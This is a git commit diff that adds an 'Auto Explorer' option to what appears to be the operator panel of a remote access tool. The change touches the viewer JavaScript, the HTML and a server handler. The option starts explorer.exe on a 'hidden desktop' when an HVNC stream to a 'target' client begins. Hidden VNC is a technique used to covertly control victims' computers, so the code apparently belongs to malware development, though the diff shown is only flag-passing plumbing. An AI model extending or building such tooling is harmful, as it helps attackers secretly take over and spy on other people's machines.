add auto start explorer

This commit is contained in:
KingKDot
2026-03-17 00:31:28 -05:00
parent dd30835f4a
commit 62208ace52
6 changed files with 136 additions and 36 deletions
+7 -2
View File
@@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl");
const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
const codecH264 = document.getElementById("codecH264");
@@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
display: parseInt(displaySelect.value, 10) || 0,
});
}
sendCmd("hvnc_start", {});
sendCmd("hvnc_start", {
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
});
} else {
setStreamState("idle", "Stopped");
}
@@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
desiredStreaming = true;
lastFrameAt = 0;
setStreamState("starting", "Starting stream");
sendCmd("hvnc_start", {});
sendCmd("hvnc_start", {
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
});
});
stopBtn.addEventListener("click", function () {
desiredStreaming = false;
+3
View File
@@ -127,6 +127,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label
>
<label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
>
</div>
</div>
@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
switch (payload.type) {
case "hvnc_start":
if (!state.isStreaming) {
sendHVNCCommand(target, "hvnc_start", {});
sendHVNCCommand(target, "hvnc_start", {
autoStartExplorer: payload.autoStartExplorer !== false,
});
state.isStreaming = true;
hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId}`);